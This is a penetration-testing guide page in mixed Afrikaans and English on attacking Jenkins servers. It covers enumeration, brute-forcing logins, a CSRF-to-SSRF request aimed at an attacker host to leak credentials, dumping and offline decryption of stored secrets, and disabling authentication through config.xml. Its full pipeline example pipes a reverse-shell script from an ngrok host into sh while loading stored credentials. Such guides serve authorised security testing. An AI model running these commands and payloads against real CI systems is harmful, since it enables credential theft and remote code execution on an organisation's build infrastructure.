# Jenkins Sekuriteit

{{#include ../../banners/hacktricks-training.md}}

## Basiese Inligting

Jenkins is 'n hulpmiddel wat 'n eenvoudige metode bied om 'n **continuous integration** of **continuous delivery** (CI/CD) omgewing op te stel vir byna **any** kombinasie van **programming languages** en source code repositories wat pipelines gebruik. Verder outomatiseer dit verskeie roetine-ontwikkelingstake. Al maak Jenkins nie die **need to create scripts for individual steps** oorbodig nie, bied dit wel 'n vinniger en meer robuuste manier om die hele volgorde van build, test, and deployment tools te integreer as wat mens maklik handmatig kan bou.

{{#ref}}
basic-jenkins-information.md
{{#endref}}

## Onautentiseerde Enumerasie

Om na interessante Jenkins-bladsye sonder outentisering te soek, soos (_/people_ of _/asynchPeople_ — dit lys die huidige gebruikers), kan jy gebruik:
```
msf> use auxiliary/scanner/http/jenkins_enum
```
Kontroleer of jy commands kan execute sonder authentication:
```
msf> use auxiliary/scanner/http/jenkins_command
```
Sonder credentials kan jy in die pad _**/asynchPeople/**_ of _**/securityRealm/user/admin/search/index?q=**_ kyk vir **usernames**.

You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_

![](<../../images/image (146).png>)

### Bekende Kwesbaarhede

{{#ref}}
https://github.com/gquere/pwn_jenkins
{{#endref}}

## Login

In die basiese inligting kan jy **alle maniere om in te login in Jenkins** nagaan:

{{#ref}}
basic-jenkins-information.md
{{#endref}}

### Registreer

Jy sal Jenkins-instanse vind wat jou toelaat om 'n account te skep en daarin te login. So eenvoudig.

### **SSO Login**

As **SSO** **functionality**/**plugins** teenwoordig was, moet jy probeer om in die toepassing te log-in met 'n toetsaccount (bv. 'n toets **Github/Bitbucket account**). Truuk vanaf [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).

### Bruteforce

**Jenkins** het nie 'n **password policy** en **username brute-force mitigation** nie. Dit is noodsaaklik om gebruikers te **brute-force**, aangesien **weak passwords** of **usernames as passwords** gebruik kan word, selfs **reversed usernames as passwords**.
```
msf> use auxiliary/scanner/http/jenkins_login
```
### Password spraying

Gebruik [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) of [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).

### IP Whitelisting Bypass

Baie organisasies kombineer **SaaS-based source control management (SCM) systems** soos GitHub of GitLab met 'n **internal, self-hosted CI** oplossing soos Jenkins of TeamCity. Hierdie opstelling laat CI-stelsels toe om **receive webhook events from SaaS source control vendors**, hoofsaaklik om pipeline jobs te trigger.

Om dit te bewerkstellig, plaas organisasies die **IP ranges** van die **SCM platforms** op 'n **whitelist**, wat hulle toelaat om toegang tot die **internal CI system** via **webhooks** te kry. Dit is egter belangrik om daarop te let dat **anyone** 'n **account** op GitHub of GitLab kan skep en dit kan konfigureer om 'n **trigger a webhook**, wat moontlik versoeke na die **internal CI system** kan stuur.

Kyk: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)

## Interne Jenkins-misbruik

In hierdie scenario's gaan ons aanvaar dat jy 'n geldige rekening het om toegang tot Jenkins te kry.

> [!WARNING]
> Afhangend van die **Authorization**-meganisme wat in Jenkins gekonfigureer is en van die toestemming(e) van die gekompromitteerde gebruiker, **mag jy wel of nie in staat wees om die volgende aanvalle uit te voer nie.**

For more information check the basic information:

{{#ref}}
basic-jenkins-information.md
{{#endref}}

### Gebruikerslys

As jy toegang tot Jenkins het, kan jy ander geregistreerde gebruikers lys by http://127.0.0.1:8080/asynchPeople/

### Dumping builds to find cleartext secrets

Gebruik [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) om build console outputs en build environment variables te dump om hopelik cleartext secrets te vind.
```bash
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
```
### FormValidation/TestConnection endpoints (CSRF to SSRF/credential theft)

Sommige plugins openbaar Jelly `validateButton` of `test connection` handlers onder paaie soos `/descriptorByName/<Class>/testConnection`. Wanneer handlers **nie POST of permission checks afdwing nie**, kan jy:

- Wissel POST na GET en laat die Crumb val om CSRF checks te omseil.
- Trigger die handler as low-priv/anonymous indien geen `Jenkins.ADMINISTER` check bestaan nie.
- CSRF 'n admin en vervang die host/URL-parameter om credentials te exfiltrate of uitgaande oproepe te trigger.
- Gebruik die responsfoute (bv. `ConnectException`) as 'n SSRF/port-scan oracle.

Example GET (no Crumb) turning a validation call into SSRF/credential exfiltration:
```http
GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
Host: jenkins.local:8080
```
As die plugin stored creds hergebruik, Jenkins sal probeer om na `attacker:4444` te autentiseer en kan identifiers of foutboodskappe in die respons leak. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/

### **Diefstal van SSH Credentials**

As die gekompromitteerde gebruiker genoeg voorregte het om 'n nuwe Jenkins node te skep/wysig en SSH credentials reeds gestoor is om ander nodes te bereik, kan hy daardie credentials steel deur 'n node te skep/wysig en 'n host op te stel wat die credentials sal registreer sonder om die host key te verifieer:

![](<../../images/image (218).png>)

Jy sal gewoonlik Jenkins ssh credentials in 'n **global provider** (`/credentials/`) vind, so jy kan hulle ook dump soos jy enige ander geheim sou dump. More information in the [**Dumping secrets section**](#dumping-secrets).

### **RCE in Jenkins**

Om 'n **shell in die Jenkins server** te kry gee die attacker die geleentheid om alle **secrets** en **env variables** te leak en om **ander masjiene** in dieselfde netwerk te exploit of selfs **cloud credentials** te gather.

By default, Jenkins sal **run as SYSTEM**. Dus, om dit te kompromitteer sal die attacker **SYSTEM privileges** gee.

### **RCE Creating/Modifying a project**

Creating/Modifying a project is 'n manier om RCE oor die Jenkins-server te verkry:

{{#ref}}
jenkins-rce-creating-modifying-project.md
{{#endref}}

### **RCE Execute Groovy script**

Jy kan ook RCE verkry deur 'n Groovy script uit te voer, wat dalk minder opvallend is as om 'n nuwe project te skep:

{{#ref}}
jenkins-rce-with-groovy-script.md
{{#endref}}

### RCE Creating/Modifying Pipeline

Jy kan ook RCE kry deur 'n pipeline te skep/wysig:

{{#ref}}
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}

## Pipeline Exploitation

Om pipelines te exploiteer het jy steeds toegang tot Jenkins nodig.

### Build Pipelines

**Pipelines** kan ook gebruik word as die **build-meganisme in projects**, in daardie geval kan 'n lêer binne die repository geconfigureer word wat die pipeline-sintaks sal bevat. By default `/Jenkinsfile` is used:

![](<../../images/image (127).png>)

Dit is ook moontlik om **pipeline configuration files in other places** te store (byvoorbeeld in ander repositories) met die doel om die repository-toegang en die pipeline-toegang te skei.

As 'n attacker write access oor daardie file het, sal hy dit kan modify en moontlik die pipeline trigger sonder om selfs toegang tot Jenkins te hê. Dit is moontlik dat die attacker sommige branch protections moet bypass (afhangend van die platform en gebruikersvoorregte kan dit wel of nie gebypass word nie).

Die mees algemene triggers om 'n custom pipeline uit te voer is:

- **Pull request** to the main branch (or potentially to other branches)
- **Push to the main branch** (or potentially to other branches)
- **Update the main branch** and wait until it's executed somehow

> [!NOTE]
> As jy 'n **external user** is, moet jy nie verwag om 'n **PR to the main branch** van die repo van **other user/organization** te skep en die **pipeline** te **trigger** nie... maar as dit **bad configured** is kan jy full **compromise companies** net deur dit te exploit.

### Pipeline RCE

In die vorige RCE afdeling is reeds 'n tegniek aangedui om [**get RCE modifying a pipeline**](#rce-creating-modifying-pipeline).

### Checking Env variables

Dit is moontlik om **clear text env variables** te declare vir die hele pipeline of vir spesifieke stages. Hierdie env variables **shouldn't contain sensitive info**, maar 'n attacker kan altyd al die pipeline konfigurasies/Jenkinsfiles check:
```bash
pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
```
### Dumping secrets

Vir inligting oor hoe secrets gewoonlik deur Jenkins hanteer word, sien die basiese inligting:

{{#ref}}
basic-jenkins-information.md
{{#endref}}

Credentials kan **scoped to global providers** (`/credentials/`) of na **specific projects** (`/job/<project-name>/configure`) wees. Daarom, om hulle almal te exfiltrate moet jy **compromise at least all the projects** wat secrets bevat en custom/poisoned pipelines uitvoer.

Daar is nog 'n probleem: om 'n **secret inside the env** van 'n pipeline te kry, moet jy **know the name and type of the secret**. Byvoorbeeld, as jy probeer lo **load** 'n **`usernamePassword`** **secret** as 'n **`string`** **secret** sal jy hierdie **error** kry:
```
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
```
Hier is hoe jy 'n paar algemene secret types kan laai:
```bash
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}
```
Aan die einde van hierdie bladsy kan jy **al die credential types vind**: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

> [!WARNING]
> Die beste manier om **dump all the secrets at once** is deur die **compromising** van die **Jenkins** machine (running a reverse shell in the **built-in node** for example) en dan die **leaking** van die **master keys** en die **encrypted secrets** en om dit offline te decrypt.\
> Meer oor hoe om dit te doen in die [Nodes & Agents section](#nodes-and-agents) en in die [Post Exploitation section](#post-exploitation).

### Triggers

From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Die `triggers` directive definieer die **geoutomatiseerde maniere waarop die Pipeline her-getrigger moet word**. Vir Pipelines wat met 'n bron soos GitHub of BitBucket geïntegreer is, mag `triggers` nie nodig wees nie aangesien webhooks-based integrasie waarskynlik reeds teenwoordig is. Die triggers wat tans beskikbaar is: `cron`, `pollSCM` en `upstream`.

Cron voorbeeld:
```bash
triggers { cron('H */4 * * 1-5') }
```
Kyk na **ander voorbeelde in die dokumentasie**.

### Nodes & Agents

'n **Jenkins instance** kan moontlik **verskillende agents op verskillende masjiene laat loop**. Van 'n aanvaller se perspektief beteken toegang tot verskillende masjiene **verskillende potensiële cloud credentials** om te steel of **verskillende netwerktoegang** wat misbruik kan word om ander masjiene te eksploiteer.

For more information check the basic information:

{{#ref}}
basic-jenkins-information.md
{{#endref}}

Jy kan die **gekonfigureerde nodes** in `/computer/` opnoem, jy sal gewoonlik die \*\*`Built-In Node` \*\* (wat die node is wat Jenkins laat loop) en moontlik meer vind:

![](<../../images/image (249).png>)

Dit is **spesifiek interessant om die Built-In node te kompromitteer** omdat dit sensitiewe Jenkins-inligting bevat.

Om aan te dui dat jy die **pipeline** in die **built-in Jenkins node** wil **uitvoer**, kan jy binne die pipeline die volgende konfigurasie spesifiseer:
```bash
pipeline {
agent {label 'built-in'}
```
### Volledige voorbeeld

Pipeline in 'n spesifieke agent, met 'n cron trigger, met pipeline- en stage env veranderlikes, laai 2 veranderlikes in 'n step en stuur 'n reverse shell:
```bash
pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}
```
## Arbitrary File Read na RCE

{{#ref}}
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
{{#endref}}

## RCE

{{#ref}}
jenkins-rce-with-groovy-script.md
{{#endref}}

{{#ref}}
jenkins-rce-creating-modifying-project.md
{{#endref}}

{{#ref}}
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}

## Post Exploitation

### Metasploit
```
msf> post/multi/gather/jenkins_gather
```
### Jenkins Secrets

Jy kan die secrets lys deur toegang tot `/credentials/` te kry as jy genoeg toestemmings het. Let wel dat dit slegs die secrets in die `credentials.xml`-lêer sal lys, maar **build configuration files** kan ook **meer credentials** hê.

As jy **die konfigurasie van elke projek kan sien**, kan jy daar ook die **name van die credentials (secrets)** sien wat gebruik word om toegang tot die repository te kry en **ander credentials van die projek**.

![](<../../images/image (180).png>)

#### Van Groovy

{{#ref}}
jenkins-dumping-secrets-from-groovy.md
{{#endref}}

#### Van skyf

Hierdie lêers word benodig om **Jenkins secrets te ontsleutel**:

- secrets/master.key
- secrets/hudson.util.Secret

Sulke **secrets word gewoonlik gevind in**:

- credentials.xml
- jobs/.../build.xml
- jobs/.../config.xml

Hier is 'n regex om hulle te vind:
```bash
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
```
#### Ontsleutel Jenkins secrets aflyn

As jy die **benodigde wagwoorde om die secrets te ontsleutel** gedump het, gebruik [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **om daardie secrets te ontsleutel**.
```bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
```
#### Ontsleutel Jenkins secrets van Groovy
```bash
println(hudson.util.Secret.decrypt("{...}"))
```
### Skep nuwe admin-gebruiker

1. Kry toegang tot die Jenkins config.xml-lêer by `/var/lib/jenkins/config.xml` of `C:\Program Files (x86)\Jenkis\`
2. Soek na die woord `<useSecurity>true</useSecurity>` en verander die woord \*\*`true` \*\* na **`false`**.
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
3. **Herbegin** die **Jenkins** bediener: `service jenkins restart`
4. Gaan nou weer na die Jenkins-portaal en **Jenkins will not ask any credentials** hierdie keer. Jy navigeer na "**Manage Jenkins**" om die **administrateur-wagwoord weer** te stel.
5. **Skakel** die **security** weer aan deur die instellings te verander na `<useSecurity>true</useSecurity>` en **herbegin die Jenkins weer**.

## Verwysings

- [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins)
- [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/)
- [https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password](https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password)
- [https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html](https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html)
- [https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072](https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072)
- [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3)

{{#include ../../banners/hacktricks-training.md}}
